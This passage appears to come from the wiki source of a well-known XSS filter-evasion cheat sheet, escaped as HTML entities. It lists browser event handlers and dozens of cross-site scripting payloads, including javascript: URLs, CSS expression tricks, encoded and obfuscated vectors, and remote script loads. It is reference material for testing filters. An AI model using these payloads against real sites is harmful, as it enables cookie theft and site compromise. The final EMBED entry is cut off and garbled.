# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://xss.rocks/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http:&amp;amp;#47;&amp;amp;#47;&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
